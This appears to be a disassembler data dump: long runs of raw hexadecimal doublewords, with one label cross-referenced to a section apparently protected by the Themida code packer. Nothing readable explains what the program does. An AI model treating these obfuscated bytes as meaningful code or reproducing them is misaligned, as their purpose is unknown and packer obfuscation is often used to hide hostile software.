dd 0A19D8BD8h, 6A05E22Ch, 1DBB6600h, 6A006A95h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 21EFC351h, 0E5A08B83h, 1E2D95FFh, 0B5005E2h, 0E20D69BDh
dd 8D8D5F05h, 5E59D80h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 45C35040h, 0D98BF968h, 6AD1FFh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 0A22D29C3h, 0B9BD834Fh, 105E200h, 8D850Fh, 0B70F0000h
dd 6A026AFEh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 15042444h, 42000000h, 55FAC352h, 11E95250h, 0DB000000h
dd 72AF3B2Ah, 0F0885A1Bh, 1C9E8979h, 7D3CAA5Dh, 2404895Bh
dd 13E8h, 3CEF5600h, 861D3B70h, 0FDC04751h, 4D46A6A4h
dd 0C6AD516h, 541BD23h, 0FF5B05E2h, 0E214E995h, 51006A05h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 7D7AE2C9h, 0EF80AE14h, 0D19D23DEh, 0E905E224h, 0E37h
dd 0E8h, 0ED815D00h, 5E73A0Eh, 0FE9h, 0D43DBD00h, 0F917793h
dd 294055B7h, 9821B3Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 0D8C35646h, 2870F0Ch, 8A000000h, 0F38166FDh
dd 858DE001h, 5E58E9Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ah, 96C35747h, 96DA68D0h, 9E8738Ah, 67000000h
dd 0BA6760CEh, 1D5FA5E7h, 4880Fh, 0BB660000h, 905FCA6Ah
dd 0A0FCA6BFh, 5652500Ah, 5B5B6160h, 0FE990h, 0A070000h
dd 0F354577Bh, 95187898h, 7F960953h, 13E86009h, 2A000000h
dd 3478F440h, 0AA4322EEh, 0C1F4A722h, 0EFCCD418h, 81664852h
dd 59960FF0h, 4E58531h, 646105E2h, 35FFh, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 4AA3EFC3h, 0CC9BF27h, 333DBB19h, 60F525BAh, 8BC38B66h
dd 0E2245DBDh, 89646105h, 25h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 6F46289Dh
dd 2985FF3Fh, 8B05E223h, 0E201299Dh, 66FF6A05h, 0FFAF9BBFh
dd 0E22ACDB5h, 0AE805h, 0E1E30000h, 53BEA2E2h, 2A180768h
dd 95FF5BF5h, 5E2189Dh, 123E9h, 41BD8B00h, 0B005E221h
dd 0AE900h, 0F1DA0000h, 9313DEF1h, 8CCBD884h, 0BD8970E6h
dd 5E213B5h, 12E9h, 5558F700h, 32C604EBh, 35C98645h, 3E859BB5h
dd 0E467AB1Dh, 0D98B6671h, 830F613Ch, 0E0h, 2BCD9589h
dd 0B60F05E2h, 0FAFCBBC8h, 6BA6390h, 8B000000h, 0E20645BDh
dd 89C18B05h, 0E2093D85h, 4E8C105h, 0E2F766F8h, 84ADDFBBh
dd 1C82B61h, 0E219A59Dh, 66D18B05h, 400CF81h, 9FE9h, 0D59D8900h
dd 8B05E205h, 47554C85h, 9DB50149h, 8305E20Dh, 810F07C0h
dd 6, 14719589h, 0C08305E2h, 0FD03B00h, 1E83h, 0EE900h
dd 0A1870000h, 6A6CD7F5h, 65DE6B3Dh, 0A50910F7h, 5BE9h
dd 0A5BD8900h, 8B05E21Bh, 0FFFFFF8Dh, 6E9FFh, 72B80000h
dd 85CDEC3Eh, 2CB59D8Bh, 0E18305E2h, 35840F01h, 8B000000h
dd 0E20FF9BDh, 0FFA58305h, 0FEFFFFFFh, 9870Fh, 8F0F0000h
dd 3, 89D98B66h, 47554C95h, 8890F49h, 50000000h, 1821BD8Bh
dd 0E95F05E2h, 0
dd 0BC78B58Dh, 6A05E6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 8BBC17C3h, 5290F1CBh, 6AD98B73h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h
dd 0C3554500h, 41E7E68Eh, 36ED7B78h, 95FF7F60h, 5E20AB9h
dd 15858950h, 5B05E207h, 0F82B9h, 4DB58900h, 8305E21Ah
dd 11E8FCE1h, 0F2000000h, 0EDD2A429h, 0BE252EE7h, 1001368Ch
dd 0ACD05A53h, 0FF9FC5Fh, 0C02BD8B7h, 0CFD9D8Bh, 0D22B05E2h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 50C35747h
dd 43EAAD8Fh, 1C9DBD8Bh, 33AD05E2h, 3E8D1C2h, 4E983D0h
dd 0BB66F475h, 6A68E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 0AFB719C3h, 64BE4DFEh, 9D8B5E16h
dd 5E22141h, 880Dh, 7E900h, 64290000h, 0DC8BEFFBh, 0E9958B72h
dd 6A05E20Bh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 0E147C350h, 87F6649Eh, 8BCDE1F4h
dd 0E207618Dh, 3CB8005h, 8BC28B50h, 8BC10318h, 0D1C18B18h
dd 8BC203E8h, 0F98B5818h, 3B6731BFh, 79BD8311h, 5E20Dh
dd 61840Fh, 0BD2B0000h, 5E2111Dh, 0B8h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 7DE47179h, 0FABF0F2Eh, 44D38166h, 428D8DDAh, 105E24Ch
dd 0E20479BDh, 6AE1FF05h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 663BC355h, 832571BBh
dd 0E21B55BDh, 840F0005h, 492h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 0FEC35646h, 752260E3h, 13E939h
dd 0A33B0000h, 20698E36h, 11A38CC1h, 487115B1h, 0EB8C09B9h
dd 55BD839Dh, 105E21Bh, 467840Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1A0424h, 50400000h, 8707ADC3h
dd 0E51FE54Fh, 68C0FF9h, 8B000000h, 0E214959Dh, 819D8905h
dd 8305E20Fh, 0E21B55BDh, 860F0305h, 3EFh, 6A60D98Ah, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
dd 0ED21C352h, 92731CB4h, 0AC3C6BEBh, 0BE9h, 0E75F6F00h
dd 3D706EF0h, 5D372EA9h, 6AD98C66h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0E9B8C357h
dd 0Ah, 0C2BE0325h, 0BC1D975h, 0E18000C9h, 0D858904h, 0A05E210h
dd 57840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 46FEC355h, 127AC955h
dd 8127C1DDh, 0D34E75C3h, 1D858B66h, 6A05E224h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 0EBDEC350h, 912C5C17h, 0BD8BE856h, 5E21A79h, 2AA98533h
dd 8D8905E2h, 5E23049h, 90261CBFh, 52509047h, 12E8h, 0A36D0100h
dd 312039C0h, 95C1BB05h, 0D11834D2h, 60866C13h, 310F5B61h
dd 5ADA8B66h, 0FC8A5058h, 99EF8090h, 1F0D9589h, 6A05E2h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 7BC35747h
dd 0CFDEF5DEh, 7ACE21E0h, 31D98BD1h, 0E22D898Dh, 0F86E6805h
dd 0BF667B87h, 348179CDh, 98FB9124h, 57006A7Bh, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 61A569CDh
dd 0F3F26EC2h, 0CCC781FEh, 2B32A8F7h, 0E20BE59Dh, 3995FF05h
dd 0F05E208h, 686h, 9BD8B00h, 8905E22Bh, 0E5BB9D85h, 51006A05h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 64A48B17h, 0C06F4194h, 0E1DF8195h, 0E913AF25h, 1BAh
dd 5A1BD8Bh, 858B05E2h, 5E5BB95h, 28E0Fh, 0FE8B0000h, 1800C7h
dd 0BB560000h, 6689863Eh, 0F8BF0F5Bh, 0BB99B58Bh, 6A05E5h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 6D6E97C3h, 0E65555BAh, 0D8E0Fh, 5E80000h, 55000000h
dd 0A8A69ED3h, 8B5B6160h, 0E200F985h, 299D8B05h, 8905E214h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 858BF582h, 5E2241Dh, 44689F9h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0E8C35545h, 6588056Ch
dd 0BF6650F1h, 348927C9h, 0FB8B6624h, 0C158D89h, 0B5FF05E2h
dd 5E5BB95h, 40E38166h, 4E829h, 3FF0000h, 0E860001Fh, 14h
dd 7C2291E0h, 0E91CEA9Ch, 0EAD2BBE0h, 4F9137F2h, 27839D4Fh
dd 5FFE8B66h, 9E8h, 70F6A700h, 64287B95h, 615E45C8h, 8BDD8A50h
dd 66042444h, 8BD98Bh, 0C489D3BFh, 2444897Bh, 644BF04h
dd 6A583784h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 24D8C357h, 77552CE0h, 0BF2DF4B3h
dd 907AA6BBh, 9D858D0Ah, 6A05E5BBh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 3DBAC352h
dd 0F024283Bh, 56507405h, 895B82B7h, 0B5892404h, 5E20979h
dd 83995FFh, 6A05E2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 0AEAB1EC3h, 4B076150h, 0BD8BD4CCh
dd 5E23335h, 3A50DB81h, 6A616E16h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0A881C351h
dd 8473AE0Ch, 0F1D38038h, 1B5585C7h, 305E2h, 9D890000h
dd 5E223FDh, 0BB9DBD83h, 0F0005E5h, 2A84h, 0F98B6600h
dd 3DE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1404h, 0C3504000h, 0A99D8B52h, 5005E229h, 110C30h, 0C1011144h
dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh
dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h
dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 787083C3h
dd 6AFB8Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 9FED1AC3h, 43209B4Ah, 3DBD2920h, 5305E200h
dd 13E8h, 54776000h, 0E45DDE53h, 83CA1999h, 271DE2AAh
dd 1354B788h, 8D0Fh, 5B5F0000h, 1B55BD83h, 0F0305E2h, 46F85h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 61BD8BBBh, 8305E217h, 0E5BB9DBDh, 840F0005h
dd 440h, 0FFDABF0Fh, 0E5BB9DB5h, 56006A05h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0BEB7524Ch
dd 4E12DAEh, 840F98D4h, 6, 15E5BD03h, 95FF05E2h, 5E2172Dh
dd 6870Fh, 0B5290000h, 5E2161Dh, 0BB91B58Bh, 6A05E5h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0BD00FC3h, 0B68E4D4Eh, 841B589h, 6C705E2h, 10001h, 418D8B60h
dd 8B05E20Ah, 0E215499Dh, 52506105h, 2840Fh, 99B70000h
dd 2434895Fh, 0BCC4BB66h, 0BB9DB5FFh, 0CF8005E5h, 0BF66509Dh
dd 0FF5BB3C9h, 0E22BD195h, 399D8B05h, 8905E211h, 0E20915BDh
dd 91B58B05h
dd 6605E5BBh, 8B35AFBBh, 0E210DD85h, 52006A05h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0F970D10h
dd 89FC3CDDh, 0C486h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 0ACF4A49Bh, 5327BF58h
dd 958B1020h, 5E20BE9h, 18F19D0Bh, 0C28305E2h, 0D1BD8B04h
dd 8905E230h, 6A2050h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 0DF142CC3h, 5B858DC0h, 6A05E5CEh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 0AC66C353h, 7E84332h, 44000000h, 52C62406h
dd 9D8BCF99h, 5E207C9h, 0B886895Bh, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 72FDC353h, 0FFF30B1h, 683h, 358D8900h, 8005E207h, 8B66CEE3h
dd 29006AF8h, 0E2099185h, 9DB5FF05h, 6A05E5BBh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
dd 9E47C355h, 0B198D09h, 0BB6605E2h, 95FF86E2h, 5E214E9h
dd 0CD43EBBFh, 0CE99632h, 41000000h, 36ED7B78h, 70937F60h
dd 50784DE8h, 699D8B96h, 0FF05E200h, 0E5BB9DB5h, 55006A05h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 48B614C5h, 0FFCC96C4h, 0E22D2195h, 0A9C38105h, 8312A89Fh
dd 0E20089BDh, 840F0005h, 0ABh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 0B4C35646h, 0C37877Fh, 7C2E4C2Fh
dd 0C21BD03h, 5E905E2h, 0D3000000h, 3BE387BBh, 0CE9h, 30470100h
dd 0FCEE6635h, 0A5BDA29Bh, 10E8507Dh, 6F000000h, 785CE3DAh
dd 0C698814Ch, 86FC0B0Eh, 0E86207D2h, 9, 1FCB39EDh, 1C39444Bh
dd 0BE9C6h, 0BF650000h, 947C5A27h, 3899E579h, 895B5F08h
dd 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 0BEAAC7C3h, 0D59D8B2Bh, 6005E213h, 615B589h
dd 0FF6105E2h, 0E5BB9DB5h, 55BB6605h, 1595FF5Dh, 6A05E204h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 5E50C353h, 558B766Eh, 14A1BD8Bh, 816605E2h
dd 0FF4454EFh, 0E5BB9DB5h, 56006A05h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 180A92A0h
dd 0BBA819D7h, 4F66335Fh, 0A5995FFh, 0BD0B05E2h, 5E231A9h
dd 24CDBD83h, 0F0205E2h, 7E84h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 755481F0h
dd 35858B3Bh, 6A05E21Fh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 6A87C356h, 0CF2C7206h
dd 0EDF7816Eh, 0C67CBCA5h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 7F29AC3h
dd 28A0F42h, 0B3000000h, 3D9D8B3Bh, 0C705E226h, 0E20CF985h
dd 5, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 6B69A79h, 3F72CB36h, 9D03B45Ch, 5E223B5h
dd 0FFF334E9h, 8BFE8AFFh, 53006AC1h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0E5E0B3C3h
dd 299D014Ah, 8D05E20Eh, 0E749118Dh, 81666005h, 0F8DF9AEFh
dd 0E98D8961h, 6A05E20Bh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 8A28C353h, 2B8076D5h
dd 0C7C28B66h, 0E2076185h, 73C405h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0C74355E0h
dd 0F38A1280h, 0EA59523h, 85C705E2h, 5E21B55h, 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0CCC35343h
dd 0A18EFE7Eh, 8580D0BEh, 5DB5FFB5h, 6A05E232h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 99E5C356h, 7EEF0838h, 0B1595FFh, 0D68005E2h, 0FF006AACh
dd 0E20AB995h, 0EBC08B05h, 0ED44EF5Fh, 2F3DC619h, 0F9A1857h
dd 38DCD926h, 0FBE44775h, 53B45A6Fh, 2417C33Eh, 0B93D0081h
dd 0C3E248B4h, 9D2FE3DBh, 0B45870A3h, 335B62D9h, 22ECE5CAh
dd 0D6518709h, 0FFF3497Fh, 36045B5Dh, 2BA051A9h, 0AA82826Ah
dd 6FE0DD6Bh, 3AE4A8A9h, 1CF20108h, 61541D51h, 89073F63h
dd 0D79E92CCh, 4A3F8D8Dh, 8D8905E7h, 5E20BE9h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 37C35646h, 0E67CAC98h
dd 0F9A1BC35h, 22298D29h, 85C705E2h, 5E20761h, 5BECh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0C35242h, 0B954957Bh
dd 0FD288ABDh, 5585C71Ch, 5E21Bh, 66000000h, 8B4D0ABEh
dd 0E2302DB5h, 0D1B5FF05h, 6A05E21Ch, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 220EC357h
dd 0B1595FFh, 6A05E2h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 816697C3h, 6AE914DFh, 0B995FF00h
dd 8B05E20Ah, 0BB4CEBC0h, 75C6A106h, 21A02705h, 0FC1AAC0Eh
dd 6FE2FC07h, 0DDB5FFDBh, 0B8B469DAh, 86AC9ACFh, 469DB802h
dd 0B439EC4Ah, 636E35C8h, 1B611CE2h, 3309D6A3h, 8E637AF0h
dd 4685336Ch, 0C03821E2h, 5D704EC4h, 2796B96h, 26F293E1h
dd 20522606h, 0C8570F58h, 10010F31h, 56C25112h, 257BBBh
dd 6254BB3h, 1010F26h, 80C25974h, 40B482BBh, 0AC670AD0h
dd 460165EAh, 8010CDAh, 0C75F2F32h, 2675866Ch, 25458E36h
dd 80011236h, 83574932h, 16E720B4h, 33BAE0D9h, 8B0E51B2h
dd 4010F32h, 860E0B9Ah, 1010D4Dh, 68F6B03Dh, 40010F3Eh
dd 0A8E89BDEh, 0B69D170Bh, 8D9CFEFCh, 24C92B9h, 815E0AD0h
dd 0E312CA8Fh, 40E0F37h, 40010F51h, 0C8560F58h, 10010F31h
dd 57C25012h, 2573BBh, 6254BB3h, 1010F25h, 2FC25875h, 0A81529C2h
dd 20010F34h, 76D6601Ch, 8C0E8E8Ah, 4010F32h, 20E66Ch
dd 16B0F32h, 8002E764h, 1E210F32h, 548851F1h, 54800B16h
dd 8180B16h, 52470F32h, 4A31ABF1h, 8893DA3Ch, 62055EB7h
dd 91B48637h, 0B004ED2Dh, 0B673B554h, 4850062h, 64010F32h
dd 6F20B488h, 0F3C8B65Eh, 1060567Ch, 0A8520F58h, 20010F31h
dd 4BC25412h, 0C2553BBh, 254BB3h, 2010F2Ah, 2CC25C71h
dd 42C14931h, 0FAA8FCB3h, 9E674E71h, 110E3D67h, 62FF2B7Eh
dd 7E95832h, 22010F32h, 885ECC6Dh, 1052B4Eh, 56052B76h
dd 67010F32h, 69AECC65h, 0A9C38F8Ch, 9594266Ah, 8104ED2Bh
dd 16B23F2h, 8002E760h, 1A210F32h, 748855F1h, 54800B16h
dd 81C0B16h, 56430F32h, 3749D2F1h, 3ED71EDCh, 9C854E2h
dd 0A22D86A7h, 4A098437h, 13E95E32h, 28010F32h, 8D58CC6Bh
dd 83052B7Eh, 18052B76h, 0C1010F32h, 76FACC63h, 447D4584h
dd 0EC498454h, 2B5C92B9h, 85670AD0h, 0DFE390Bh, 101B5B6h
dd 0A1948632h, 0C304ED16h, 7F5706F3h, 1FE836B2h, 80005B7h
dd 52016532h, 2010CDAh, 0C25F2F32h, 0A475866Ch, 64458E36h
dd 20011836h, 0D3574932h, 267B32C1h, 17C89A11h, 438A0AD0h
dd 54016533h, 80010CDAh, 835C2F32h, 46D866Fh, 34458E36h
dd 8011736h, 0C7544A32h, 88EB9537h, 67C90CADh, 4182F7B9h
dd 59BC8437h, 0A104ED33h, 534A9F0Bh, 0A08400B9h, 6E010F32h
dd 1E95832h, 21010F32h, 95ECC6Dh, 0C1052B4Eh, 3D052B76h
dd 57010F32h, 96A5CC65h, 622D3403h, 0E3C2A05h, 10DE652h
dd 57B10F32h, 64E84773h, 0D745A691h, 9B0E6E6Bh, 8010F34h
dd 0BCB8D4B3h, 8F605FEEh, 0E34D4DBFh, 84860037h, 26010F32h
dd 98C6E489h, 10010F31h, 0E0540F58h, 4010F31h, 5FC25212h
dd 52563BBh, 84254BB3h, 40010F29h, 8AC25A77h, 17CA4EEAh
dd 0F79FEDB7h, 530165D3h, 2010CDAh, 0C25E2F32h, 0A47D866Dh
dd 64458E36h, 20011336h, 0D3564832h, 0B1B1B603h, 79ED0153h
dd 0E6E68ED4h, 603E9F10h, 68570F58h, 40010F31h, 7EC25112h
dd 14257BBBh, 0C254BB3h, 4010F28h, 0A7C25974h, 0AE3065AAh
dd 3D8C80BAh, 45E645A2h, 6DA682BFh, 64B90AD5h, 3B009DB1h
dd 0E6228AB7h, 20CE2437h, 0C8570F58h, 10010F31h, 56C25112h
dd 257BBBh, 6254BB3h, 1010F26h, 0E9835974h, 8BA4F305h
dd 698589C0h, 0E905E215h, 0Ah, 52CEC921h, 0E85AFB51h, 0C38BDB57h
dd 4E7C8D8Dh, 8B6005E7h, 0E20BC5BDh, 0E98D2905h, 6105E22Bh
dd 0BE98D89h, 9D8B05E2h, 5E22AB9h, 85C7FD8Ah, 5E20761h
dd 5C04h, 0A45BD8Bh, 85C705E2h, 5E21B55h, 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C5C35646h
dd 82FF728Bh, 0CED6CE05h, 6FCA8021h, 3249B5FFh, 95FF05E2h
dd 5E20B15h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 6AC35040h, 6870Fh, 0BD010000h, 5E21B79h, 95FF006Ah
db 0B9h, 0Ah, 0E2h
byte_542B33 db 5 ; DATA XREF: Themida_:004EFE60o
dd 2AEBC08Bh, 955BAC05h, 0B3C2C4B4h, 86050A51h, 0CA755D89h
dd 9CB126B7h, 79154909h, 3DC8AC04h, 5B6D49B1h, 0BC91F2B4h
dd 4607B67Dh, 0EE8BFDCh, 9B000000h, 0AD790CA9h, 72D4D6A4h
dd 341821C2h, 5ACFB94Eh, 0E95B3343h, 0Ch, 0D586D9E0h, 0DEF1F1DAh
dd 0D8849313h, 6F22C381h, 8D890000h, 5E232C1h, 8BF8F633h
dd 8529333Ch, 5E20A9Dh, 8180C781h, 0C08130B6h, 5201587h
dd 44FDC781h, 61601B09h, 0F4E4EF81h, 57F96048h, 147D958Bh
dd 48F05E2h, 0B1B58933h, 0E905E22Ah, 0Dh, 4ED00CCAh, 894FFB04h
dd 4472EE84h, 4EE83C6h, 0B5895660h, 5E22449h, 8161FC5Eh
dd 0FF9174FEh, 0A0850FFFh, 23FFFFFFh, 0E21A2985h, 78D8D05h
dd 0F05E750h, 850FF9BFh, 6, 0A1B589h, 8D8905E2h, 5E20BE9h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0F4C35343h
dd 9F10DD5Bh, 424665B7h, 5E95Fh, 64580000h, 802D76F8h
dd 85C7C9F7h, 5E20761h, 5EC4h, 26A1BD23h, 85C705E2h, 5E21B55h
dd 0
dd 6880Fh, 0B58B0000h, 5E222C9h, 2ACDB5FFh, 6A05E2h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 0DBEB4C3h, 3F07D5E5h, 9D8B60DBh, 5E203E5h, 61DE8B66h
dd 0FFE9E680h, 0E20B1595h, 55852905h, 6A05E21Ah, 0B995FF00h
dd 8B05E20Ah, 7959EBC0h, 240E290Ch, 0C1E6104Eh, 0CFBAFF1Ah
dd 0F14EA70Ch, 4FCCB41Dh, 0D084CBD0h, 29B928D6h, 0BF13471h
dd 9E91C419h, 0F9DF0394h, 0BF1B5D3Fh, 277AECDDh, 0AC9D2EAFh
dd 0E70B87D3h, 12EA722Ch, 7C8B4FADh, 931AEDD7h, 4049DA3Dh
dd 545B4D1Dh, 0B178E757h, 2670913Eh, 6925EB94h, 0B8A53CDAh
dd 3385629Dh, 0E3858BAEh, 0DDBFE5D1h, 4BEFB55Fh, 7FA20EDBh
dd 21BF4198h, 8E12371Ch, 36739513h, 0B098FE5Dh, 0D1898E13h
dd 2AE58B52h, 0F31AD8FBh, 3395886Dh, 6E1402EAh, 0BE946944h
dd 0D7237127h, 68427458h, 362C08F6h, 3394694Fh, 60C19CDFh
dd 3395886Dh, 6E1402EAh, 0BE946944h, 0D73E6227h, 68427458h
dd 6591E1F6h, 339188BFh, 0F0CFABABh, 17E5028Bh, 17D50AEEh
dd 33919771h, 0F0C7CDBAh, 0B8C83A70h, 222400B8h, 6491E1A4h
dd 33918843h, 0F0CEABD5h, 17ED02B5h, 17D50A71h, 339196BEh
dd 0F0C6CC5Dh, 0C916C798h, 69B82B48h, 0AE1AE345h, 36738F10h
dd 33FB4B61h, 33926325h, 6BB18BBAh, 7718D39Eh, 77108F8Ah
dd 338D8F73h, 63D18BABh, 2A144716h, 25971D44h, 0BFF7986Dh
dd 0FA0C0262h, 9B946959h, 6F1584AAh, 59918B53h, 3079DDABh
dd 13918BD5h, 0BACF48B4h, 0B295AF01h, 2895AFFEh, 75918B5Dh
dd 0D58948F8h, 1BA5A90Eh, 8E1287DCh, 36739810h, 51584EAh
dd 59918B75h, 3079DBBAh, 13918B5Dh, 0BAC948F6h, 0B295AF13h
dd 2B95AFEFh, 73918BD5h, 0E91C48BAh, 3C48F80Ch, 33918E32h
dd 0D8FE345Dh, 0CF7881D2h, 53918B54h, 0E41B7320h, 149135B4h
dd 207889EAh, 0AD918B75h, 4556C241h, 9AAD9DDFh, 22A80881h
dd 7440EFD8h, 0B61CA0EBh, 367418E7h, 0DBC48B80h, 33918B76h
dd 6E52D69Ah, 37B5E7D4h, 37B5CF2Fh, 33918B41h, 0EC52DEEEh
dd 8E18B155h, 3673B8F7h, 33918C9Dh, 725150BAh, 56F806BEh
dd 34C01625h, 0CCC88EB5h, 0B2F7777Bh, 0B6CFE70Ah, 3815842Ah
dd 0B2918B74h, 0B2F7DC82h, 471484A6h, 59918BAEh, 3079DD57h
dd 13918BABh, 0BACF488Bh, 0B295AF9Eh, 2E95AF31h, 75918BBAh
dd 8970480Bh, 7F5CD67Fh, 5C821193h, 33919F42h, 7D0CBBD5h
dd 0F3C8AF05h, 0BF9757AAh, 2F982224h, 22772BEBh, 0E210EDB0h
dd 0B2F7F542h, 31938FD3h, 30D50FDAh, 3E798BEAh, 0F9918B75h
dd 0C08CDD16h, 0C5A7B02Eh, 25160DFh, 33918CBFh, 0CB09F8ABh
dd 0E1C9659Fh, 0E74B0A8Ch, 55CBD26Ah, 530DB33Bh, 33110E52h
dd 35798BAEh, 9C918B57h, 0D1190773h, 0B3CA7356h, 3C798992h
dd 3391E2F0h, 6591E1BAh, 339188B5h, 0F0CFABAEh, 17E50209h
dd 17D50AAFh, 33919FD1h, 0F0C7CDEAh, 33826377h, 1B378BBAh
dd 4E704FB4h, 0F7D523A7h, 0D4D99405h, 0FB463A28h, 3516842Bh
dd 0BA918BEAh, 0D199BAE8h, 0BE1AD1BFh, 36738C9Ch, 35E90AC8h
dd 0B69E2057h, 33918BBDh, 24DC0E5Ch, 0AC788E08h, 0B8918B77h
dd 0D1954207h, 0F110ED58h, 332FAE5Ch, 0DBD78A56h, 33918BBBh
dd 44C972BBh, 0C6FC6056h, 0AF32A25Eh, 0DE3EF7F9h, 0BEC801EFh
dd 0D602B92Bh, 6591E152h, 33918843h, 0F0CFABD5h, 17E502B4h
dd 17D50A71h, 33919CBEh, 0F0C7CD5Dh, 41497E26h, 306016DEh
dd 0B59E8E49h, 33918BD9h, 339707E5h, 0A61A8B75h, 3673809Bh
dd 0AEB25BA2h, 3673A847h, 0B79E4BD2h, 339189BCh, 0B10535Eh
dd 3193B68Ch, 33A90E7Ah, 33FB8BBAh, 3392630Ch, 6AB18BAEh
dd 7F18D294h, 77108F8Fh, 33868FF1h, 62D08BEAh, 335DCB6h
dd 6E0C00F2h, 0B294697Fh, 0EF78DD6h, 0B79EF108h, 33918A41h
dd 240C1E5Ch, 0B2F78E08h, 3CF1174Dh, 3391183Fh, 6191E15Dh
dd 33918846h, 0F0CBAB57h, 17C502F1h, 17D50AD1h, 33919FEEh
dd 0F0C3C975h, 0E210ED81h, 3F7864F2h, 0C3918BAEh, 0B28A04F9h
dd 8CAF9CE6h, 0B3140013h, 3C798992h, 3391DCF0h, 844E0ABAh
